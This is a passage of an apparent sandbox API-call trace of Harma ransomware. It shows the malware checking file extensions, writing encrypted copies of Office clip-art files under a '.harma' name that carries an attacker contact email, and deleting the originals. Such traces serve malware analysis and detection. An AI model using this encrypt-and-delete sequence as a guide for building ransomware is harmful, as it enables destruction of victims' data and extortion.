lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString=".xls") returned 4 [0167.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.007] lstrlenW (lpString=".xlsx") returned 5 [0167.007] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.007] lstrlenW (lpString=".ppt") returned 4 [0167.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.007] lstrlenW (lpString=".zip") returned 4 [0167.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.007] lstrlenW (lpString=".rar") returned 4 [0167.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString=".bz2") returned 4 [0167.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString=".7z") returned 3 [0167.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.007] lstrlenW (lpString=".dbf") returned 4 [0167.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.007] lstrlenW (lpString=".1cd") returned 4 [0167.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.007] lstrlenW (lpString=".jpg") returned 4 [0167.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.007] lstrlenW (lpString=".doc") returned 4 [0167.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString=".docx") returned 5 [0167.007] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.007] lstrlenW (lpString=".pdf") returned 4 [0167.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.008] lstrlenW (lpString=".xls") returned 4 [0167.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.008] lstrlenW (lpString=".xlsx") returned 5 [0167.008] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.008] lstrlenW (lpString=".ppt") returned 4 [0167.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.008] lstrlenW (lpString=".zip") returned 4 [0167.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.008] lstrlenW (lpString=".rar") returned 4 [0167.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.008] lstrlenW (lpString=".bz2") returned 4 [0167.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.008] lstrlenW (lpString=".7z") returned 3 [0167.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.008] lstrlenW (lpString=".dbf") returned 4 [0167.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.008] lstrlenW (lpString=".1cd") returned 4 [0167.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.008] lstrlenW (lpString=".jpg") returned 4 [0167.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.008] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.008] lstrlenW (lpString="J0105240.WMF") returned 12 [0167.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0167.065] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=11532) returned 1 [0167.065] CloseHandle (hObject=0x33c) returned 1 [0167.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 0x20 [0167.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0167.066] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.066] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0167.067] GetLastError () returned 0x0 [0167.067] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2d0c, lpOverlapped=0x0) returned 1 [0167.134] WriteFile (in: hFile=0x374, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2d10, lpOverlapped=0x0) returned 1 [0167.136] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.136] WriteFile (in: hFile=0x374, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.136] SetEndOfFile (hFile=0x374) returned 1 [0167.136] CloseHandle (hObject=0x374) returned 1 [0167.136] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.136] SetEndOfFile (hFile=0x33c) returned 1 [0167.139] CloseHandle (hObject=0x33c) returned 1 [0167.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0167.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.142] lstrlenW (lpString=".doc") returned 4 [0167.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.142] lstrlenW (lpString=".docx") returned 5 [0167.142] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.142] lstrlenW (lpString=".pdf") returned 4 [0167.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.142] lstrlenW (lpString=".xls") returned 4 [0167.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.142] lstrlenW (lpString=".xlsx") returned 5 [0167.142] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.142] lstrlenW (lpString=".ppt") returned 4 [0167.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.143] lstrlenW (lpString=".zip") returned 4 [0167.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.143] lstrlenW (lpString=".rar") returned 4 [0167.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.143] lstrlenW (lpString=".bz2") returned 4 [0167.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.143] lstrlenW (lpString=".7z") returned 3 [0167.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.143] lstrlenW (lpString=".dbf") returned 4 [0167.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.143] lstrlenW (lpString=".1cd") returned 4 [0167.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.143] lstrlenW (lpString=".jpg") returned 4 [0167.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.143] lstrlenW (lpString=".doc") returned 4 [0167.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.143] lstrlenW (lpString=".docx") returned 5 [0167.143] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.143] lstrlenW (lpString=".pdf") returned 4 [0167.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.144] lstrlenW (lpString=".xls") returned 4 [0167.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.144] lstrlenW (lpString=".xlsx") returned 5 [0167.144] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.144] lstrlenW (lpString=".ppt") returned 4 [0167.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.144] lstrlenW (lpString=".zip") returned 4 [0167.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.144] lstrlenW (lpString=".rar") returned 4 [0167.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.144] lstrlenW (lpString=".bz2") returned 4 [0167.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.144] lstrlenW (lpString=".7z") returned 3 [0167.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.144] lstrlenW (lpString=".dbf") returned 4 [0167.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.144] lstrlenW (lpString=".1cd") returned 4 [0167.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0167.144] lstrlenW (lpString=".jpg") returned 4 [0167.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.145] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.145] lstrlenW (lpString="J0105266.WMF") returned 12 [0167.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.158] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5908) returned 1 [0167.158] CloseHandle (hObject=0x364) returned 1 [0167.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 0x20 [0167.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.162] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.162] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0167.163] GetLastError () returned 0x0 [0167.163] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1714, lpOverlapped=0x0) returned 1 [0167.396] WriteFile (in: hFile=0x3a4, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1720, lpOverlapped=0x0) returned 1 [0167.397] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.398] WriteFile (in: hFile=0x3a4, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.398] SetEndOfFile (hFile=0x3a4) returned 1 [0167.398] CloseHandle (hObject=0x3a4) returned 1 [0167.398] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.398] SetEndOfFile (hFile=0x364) returned 1 [0167.401] CloseHandle (hObject=0x364) returned 1 [0167.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0167.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.426] lstrlenW (lpString=".doc") returned 4 [0167.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.427] lstrlenW (lpString=".docx") returned 5 [0167.427] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.427] lstrlenW (lpString=".pdf") returned 4 [0167.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.427] lstrlenW (lpString=".xls") returned 4 [0167.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.427] lstrlenW (lpString=".xlsx") returned 5 [0167.427] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.427] lstrlenW (lpString=".ppt") returned 4 [0167.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.427] lstrlenW (lpString=".zip") returned 4 [0167.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.427] lstrlenW (lpString=".rar") returned 4 [0167.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.427] lstrlenW (lpString=".bz2") returned 4 [0167.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.427] lstrlenW (lpString=".7z") returned 3 [0167.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.427] lstrlenW (lpString=".dbf") returned 4 [0167.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.427] lstrlenW (lpString=".1cd") returned 4 [0167.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.427] lstrlenW (lpString=".jpg") returned 4 [0167.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.427] lstrlenW (lpString=".doc") returned 4 [0167.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.428] lstrlenW (lpString=".docx") returned 5 [0167.428] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.428] lstrlenW (lpString=".pdf") returned 4 [0167.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.428] lstrlenW (lpString=".xls") returned 4 [0167.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.428] lstrlenW (lpString=".xlsx") returned 5 [0167.428] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.428] lstrlenW (lpString=".ppt") returned 4 [0167.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.428] lstrlenW (lpString=".zip") returned 4 [0167.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.428] lstrlenW (lpString=".rar") returned 4 [0167.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.428] lstrlenW (lpString=".bz2") returned 4 [0167.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.428] lstrlenW (lpString=".7z") returned 3 [0167.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.428] lstrlenW (lpString=".dbf") returned 4 [0167.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.428] lstrlenW (lpString=".1cd") returned 4 [0167.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0167.428] lstrlenW (lpString=".jpg") returned 4 [0167.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.429] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.429] lstrlenW (lpString="J0105280.WMF") returned 12 [0167.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.430] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=11540) returned 1 [0167.430] CloseHandle (hObject=0x39c) returned 1 [0167.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 0x20 [0167.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.430] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.431] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0167.431] GetLastError () returned 0x0 [0167.431] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2d14, lpOverlapped=0x0) returned 1 [0167.604] WriteFile (in: hFile=0x3a0, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2d20, lpOverlapped=0x0) returned 1 [0167.605] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.605] WriteFile (in: hFile=0x3a0, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.606] SetEndOfFile (hFile=0x3a0) returned 1 [0167.606] CloseHandle (hObject=0x3a0) returned 1 [0167.606] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.606] SetEndOfFile (hFile=0x39c) returned 1 [0167.608] CloseHandle (hObject=0x39c) returned 1 [0167.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0167.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.688] lstrlenW (lpString=".doc") returned 4 [0167.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.688] lstrlenW (lpString=".docx") returned 5 [0167.688] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.688] lstrlenW (lpString=".pdf") returned 4 [0167.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.688] lstrlenW (lpString=".xls") returned 4 [0167.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.688] lstrlenW (lpString=".xlsx") returned 5 [0167.688] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.688] lstrlenW (lpString=".ppt") returned 4 [0167.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.689] lstrlenW (lpString=".zip") returned 4 [0167.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.689] lstrlenW (lpString=".rar") returned 4 [0167.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.689] lstrlenW (lpString=".bz2") returned 4 [0167.689] lstrcmpiW (lpString1=".bz2", 